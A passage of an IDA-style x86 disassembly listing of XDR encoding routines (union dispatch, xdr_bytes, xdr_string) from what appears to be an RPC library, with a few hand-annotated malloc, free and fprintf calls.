loc_0_8064E18:				; CODE XREF: sub_0_8064DE0+15j
		push	ebx
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_0_8064DA0
		jmp	short loc_0_8064E30
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064E24:				; CODE XREF: sub_0_8064DE0+17j
		mov	dword ptr [ebx], 10h
		mov	eax, [esi+8]
		mov	[ebx+4], eax

loc_0_8064E30:				; CODE XREF: sub_0_8064DE0+36j
					; sub_0_8064DE0+42j
		mov	eax, [ebx]
		cmp	eax, 7
		jz	short loc_0_8064E54
		ja	short loc_0_8064E40
		cmp	eax, 6
		jz	short loc_0_8064E48
		jmp	short loc_0_8064E68
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064E40:				; CODE XREF: sub_0_8064DE0+57j
		cmp	eax, 9
		jz	short loc_0_8064E5C
		jmp	short loc_0_8064E68
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064E48:				; CODE XREF: sub_0_8064DE0+5Cj
		mov	eax, [esi+10h]
		mov	[ebx+4], eax
		mov	eax, [esi+14h]
		jmp	short loc_0_8064E65
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064E54:				; CODE XREF: sub_0_8064DE0+55j
		mov	eax, [esi+10h]
		mov	[ebx+4], eax
		jmp	short loc_0_8064E68
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064E5C:				; CODE XREF: sub_0_8064DE0+63j
		mov	eax, [esi+1Ch]
		mov	[ebx+4], eax
		mov	eax, [esi+20h]

loc_0_8064E65:				; CODE XREF: sub_0_8064DE0+71j
		mov	[ebx+8], eax

loc_0_8064E68:				; CODE XREF: sub_0_8064DE0+28j
					; sub_0_8064DE0+5Ej ...
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064DE0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064E74	proc near		; CODE XREF: sub_0_805D3A8+236p
					; sub_0_805D638+1C2p ...

var_18		= dword	ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064E74	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064E94	proc near		; DATA XREF: sub_0_8063D20+15Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064E94	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064EA0	proc near		; CODE XREF: .text:08065038p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_8064EC8
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064EA0	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064EB4	proc near		; CODE XREF: .text:08065074p
					; sub_0_80651B8+18p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_8064F10
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064EB4	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064EC8	proc near		; CODE XREF: sub_0_8064EA0+Bp
					; sub_0_806510C+Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [edx], 0
		jnz	short loc_0_8064EE4
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax+4]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064EE4:				; CODE XREF: sub_0_8064EC8+Cj
		cmp	dword ptr [edx], 1
		jnz	short loc_0_8064EF8
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064EF8:				; CODE XREF: sub_0_8064EC8+1Fj
		cmp	dword ptr [edx], 2
		jz	short loc_0_8064F04
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064F04:				; CODE XREF: sub_0_8064EC8+33j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064EC8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064F10	proc near		; CODE XREF: sub_0_8064AC8+Dp
					; sub_0_8064AC8+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [edx], 1
		jnz	short loc_0_8064F2C
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064F2C:				; CODE XREF: sub_0_8064F10+Cj
		cmp	dword ptr [edx], 0
		jnz	short loc_0_8064F40
		mov	eax, [edx+4]
		push	ecx
		push	edx
		mov	eax, [eax+4]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064F40:				; CODE XREF: sub_0_8064F10+1Fj
		cmp	dword ptr [edx], 2
		jz	short loc_0_8064F4C
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064F4C:				; CODE XREF: sub_0_8064F10+33j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064F10	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_0_8064F90
		jb	short loc_0_8064F78
		cmp	eax, 2
		jz	short loc_0_8064FA7
		jmp	short loc_0_8064FB0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064F78:				; CODE XREF: .text:08064F6Cj
		movsx	ebx, word ptr [ebx]
		mov	[ebp-4], ebx
		mov	eax, [ecx+4]
		lea	edx, [ebp-4]
		push	edx
		push	ecx
		mov	eax, [eax+4]
		call	eax
		jmp	short loc_0_8064FB2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064F90:				; CODE XREF: .text:08064F6Aj
		mov	eax, [ecx+4]
		lea	edx, [ebp-4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_0_8064FB0
		mov	ax, [ebp-4]
		mov	[ebx], ax

loc_0_8064FA7:				; CODE XREF: .text:08064F71j
		mov	eax, 1
		jmp	short loc_0_8064FB2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064FB0:				; CODE XREF: .text:08064F73j
					; .text:08064F9Ej
		xor	eax, eax

loc_0_8064FB2:				; CODE XREF: .text:08064F8Bj
					; .text:08064FACj
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064FBC	proc near		; CODE XREF: .text:0806688Dp
					; DATA XREF: sub_0_80649E0+7Eo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_0_8064FF4
		jb	short loc_0_8064FDC
		cmp	eax, 2
		jz	short loc_0_806500B
		jmp	short loc_0_8065014
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064FDC:				; CODE XREF: sub_0_8064FBC+14j
		movzx	ebx, word ptr [ebx]
		mov	[ebp+var_4], ebx
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax+4]
		call	eax
		jmp	short loc_0_8065016
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064FF4:				; CODE XREF: sub_0_8064FBC+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_0_8065014
		mov	ax, word ptr [ebp+var_4]
		mov	[ebx], ax

loc_0_806500B:				; CODE XREF: sub_0_8064FBC+19j
		mov	eax, 1
		jmp	short loc_0_8065016
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065014:				; CODE XREF: sub_0_8064FBC+1Bj
					; sub_0_8064FBC+46j
		xor	eax, eax

loc_0_8065016:				; CODE XREF: sub_0_8064FBC+33j
					; sub_0_8064FBC+54j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064FBC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+8]
		mov	ebx, [ebp+0Ch]
		movzx	ecx, byte ptr [ebx]
		mov	[ebp-4], ecx
		lea	eax, [ebp-4]
		push	eax
		push	edx
		call	sub_0_8064EA0
		test	eax, eax
		jz	short loc_0_8065050
		mov	al, [ebp-4]
		mov	[ebx], al
		mov	eax, 1
		jmp	short loc_0_8065052
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065050:				; CODE XREF: .text:0806503Fj
		xor	eax, eax

loc_0_8065052:				; CODE XREF: .text:0806504Bj
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+8]
		mov	ebx, [ebp+0Ch]
		movzx	ecx, byte ptr [ebx]
		mov	[ebp-4], ecx
		lea	eax, [ebp-4]
		push	eax
		push	edx
		call	sub_0_8064EB4
		test	eax, eax
		jz	short loc_0_806508C
		mov	al, [ebp-4]
		mov	[ebx], al
		mov	eax, 1
		jmp	short loc_0_806508E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806508C:				; CODE XREF: .text:0806507Bj
		xor	eax, eax

loc_0_806508E:				; CODE XREF: .text:08065087j
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065098	proc near		; CODE XREF: sub_0_80666A0+Dp
					; sub_0_8067248+25p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_0_80650D8
		jb	short loc_0_80650B8
		cmp	eax, 2
		jz	short loc_0_80650F6
		jmp	short loc_0_8065100
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80650B8:				; CODE XREF: sub_0_8065098+14j
		cmp	dword ptr [ebx], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	edx, [ecx+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		mov	eax, [edx+4]
		call	eax
		jmp	short loc_0_8065102
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80650D8:				; CODE XREF: sub_0_8065098+12j
		mov	eax, [ecx+4]
		lea	edx, [ebp+var_4]
		push	edx
		push	ecx
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_0_8065100
		cmp	[ebp+var_4], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebx], eax

loc_0_80650F6:				; CODE XREF: sub_0_8065098+19j
		mov	eax, 1
		jmp	short loc_0_8065102
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065100:				; CODE XREF: sub_0_8065098+1Bj
					; sub_0_8065098+4Ej
		xor	eax, eax

loc_0_8065102:				; CODE XREF: sub_0_8065098+3Bj
					; sub_0_8065098+63j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065098	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806510C	proc near		; CODE XREF: sub_0_8064B1C+Dp
					; .text:08064B8Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_8064EC8
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806510C	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065120	proc near		; CODE XREF: .text:08064B65p
					; sub_0_80651B8+97p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_0_80651A8
		mov	ebx, edx
		and	ebx, 3
		jz	short loc_0_8065143
		mov	edi, 4
		sub	edi, ebx
		mov	ebx, edi

loc_0_8065143:				; CODE XREF: sub_0_8065120+18j
		cmp	dword ptr [esi], 1
		jnz	short loc_0_8065170
		mov	eax, [esi+4]
		push	edx
		push	ecx
		push	esi
		mov	eax, [eax+8]
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_0_80651A1
		test	ebx, ebx
		jz	short loc_0_80651A8
		mov	eax, [esi+4]
		push	ebx
		push	offset unk_0_807E758
		push	esi
		mov	eax, [eax+8]
		call	eax
		jmp	short loc_0_80651AD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065170:				; CODE XREF: sub_0_8065120+26j
		cmp	dword ptr [esi], 0
		jnz	short loc_0_806519C
		mov	eax, [esi+4]
		push	edx
		push	ecx
		push	esi
		mov	eax, [eax+0Ch]
		call	eax
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_0_80651A1
		test	ebx, ebx
		jz	short loc_0_80651A8
		mov	eax, [esi+4]
		push	ebx
		push	offset unk_0_807923C
		push	esi
		mov	eax, [eax+0Ch]
		call	eax
		jmp	short loc_0_80651AD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806519C:				; CODE XREF: sub_0_8065120+53j
		cmp	dword ptr [esi], 2
		jz	short loc_0_80651A8

loc_0_80651A1:				; CODE XREF: sub_0_8065120+38j
					; sub_0_8065120+65j
		xor	eax, eax
		jmp	short loc_0_80651AD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80651A8:				; CODE XREF: sub_0_8065120+11j
					; sub_0_8065120+3Cj ...
		mov	eax, 1

loc_0_80651AD:				; CODE XREF: sub_0_8065120+4Dj
					; sub_0_8065120+7Aj ...
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065120	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80651B8	proc near		; CODE XREF: sub_0_8064B1C+2Ep
					; .text:08065290p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		call	sub_0_805E954
		push	esi
		push	edi
		call	sub_0_8064EB4
		add	esp, 8
		test	eax, eax
		jz	loc_0_8065270
		mov	esi, [esi]
		cmp	[ebp+arg_C], esi
		jnb	short loc_0_80651F0
		cmp	dword ptr [edi], 2
		jnz	loc_0_8065270

loc_0_80651F0:				; CODE XREF: sub_0_80651B8+2Dj
		mov	eax, [edi]
		cmp	eax, 1
		jz	short loc_0_8065200
		jb	short loc_0_806524C
		cmp	eax, 2
		jz	short loc_0_8065258
		jmp	short loc_0_8065270
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065200:				; CODE XREF: sub_0_80651B8+3Dj
		test	esi, esi
		jnz	short loc_0_806520C

loc_0_8065204:				; CODE XREF: sub_0_80651B8+A2j
					; sub_0_80651B8+B3j
		mov	eax, 1
		jmp	short loc_0_8065272
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806520C:				; CODE XREF: sub_0_80651B8+4Aj
		test	ebx, ebx
		jnz	short loc_0_806524C
		call	malloc(esi)
		mov	ebx, eax
		mov	edx, [ebp+arg_4]
		mov	[edx], ebx
		test	ebx, ebx
		jnz	short loc_0_806524C
		push	offset aOutOfMemory_1 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	fprintf(unk_0_80787a4,'xdr_bytes: %s\n',eax)
		jmp	short loc_0_8065270
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806524C:				; CODE XREF: sub_0_80651B8+3Fj
					; sub_0_80651B8+56j ...
		push	esi
		push	ebx
		push	edi
		call	sub_0_8065120
		jmp	short loc_0_8065272
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065258:				; CODE XREF: sub_0_80651B8+44j
		test	ebx, ebx
		jz	short loc_0_8065204
		call	free(ebx)
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0
		jmp	short loc_0_8065204
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065270:				; CODE XREF: sub_0_80651B8+22j
					; sub_0_80651B8+32j ...
		xor	eax, eax

loc_0_8065272:				; CODE XREF: sub_0_80651B8+51j
					; sub_0_80651B8+9Cj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80651B8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	400h
		push	eax
		add	eax, 4
		push	eax
		push	edx
		call	sub_0_80651B8
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806529C	proc near		; CODE XREF: sub_0_8064C48+40p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	edi
		push	esi
		call	sub_0_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80652D7
		mov	eax, [edi]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_0_80652D1
		lea	esi, [esi+0]

loc_0_80652C4:				; CODE XREF: sub_0_806529C+33j
		cmp	[ebx], eax
		jz	short loc_0_80652DC
		add	ebx, 8
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_0_80652C4

loc_0_80652D1:				; CODE XREF: sub_0_806529C+23j
		cmp	[ebp+arg_10], 0
		jnz	short loc_0_80652EC

loc_0_80652D7:				; CODE XREF: sub_0_806529C+1Bj
		xor	eax, eax
		jmp	short loc_0_80652F8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80652DC:				; CODE XREF: sub_0_806529C+2Aj
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		mov	eax, [ebx+4]
		call	eax
		jmp	short loc_0_80652F8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80652EC:				; CODE XREF: sub_0_806529C+39j
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		mov	edx, [ebp+arg_10]
		call	edx

loc_0_80652F8:				; CODE XREF: sub_0_806529C+3Dj
					; sub_0_806529C+4Cj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806529C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065304	proc near		; CODE XREF: .text:080653EDp
					; sub_0_8066464+10p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ebx, [edi]
		call	sub_0_805E954
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_0_806532D
		cmp	eax, 2
		jnz	short loc_0_8065339
		test	ebx, ebx
		jz	loc_0_80653CC

loc_0_806532D:				; CODE XREF: sub_0_8065304+1Aj
		push	ebx
		call	sub_0_80662B0
		mov	[ebp+var_4], eax
		add	esp, 4

loc_0_8065339:				; CODE XREF: sub_0_8065304+1Fj
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_0_8064EB4
		add	esp, 8
		test	eax, eax
		jz	loc_0_80653D4
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_4], ecx
		ja	short loc_0_80653D4
		mov	edx, [ebp+var_4]
		inc	edx
		mov	eax, [esi]
		cmp	eax, 1
		jz	short loc_0_806536C
		jb	short loc_0_80653B3
		cmp	eax, 2
		jz	short loc_0_80653C0
		jmp	short loc_0_80653D4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806536C:				; CODE XREF: sub_0_8065304+5Bj
		test	edx, edx
		jz	short loc_0_80653CC
		test	ebx, ebx
		jnz	short loc_0_80653AC
		call	malloc(edx)
		mov	ebx, eax
		mov	[edi], ebx
		test	ebx, ebx
		jnz	short loc_0_80653AC
		push	offset aOutOfMemory_1 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	fprintf(unk_0_80787a4,'xdr_string: %s\n,eax)
		jmp	short loc_0_80653D4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80653AC:				; CODE XREF: sub_0_8065304+6Ej
					; sub_0_8065304+7Fj
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+ebx], 0

loc_0_80653B3:				; CODE XREF: sub_0_8065304+5Dj
		mov	eax, [ebp+var_4]
		push	eax
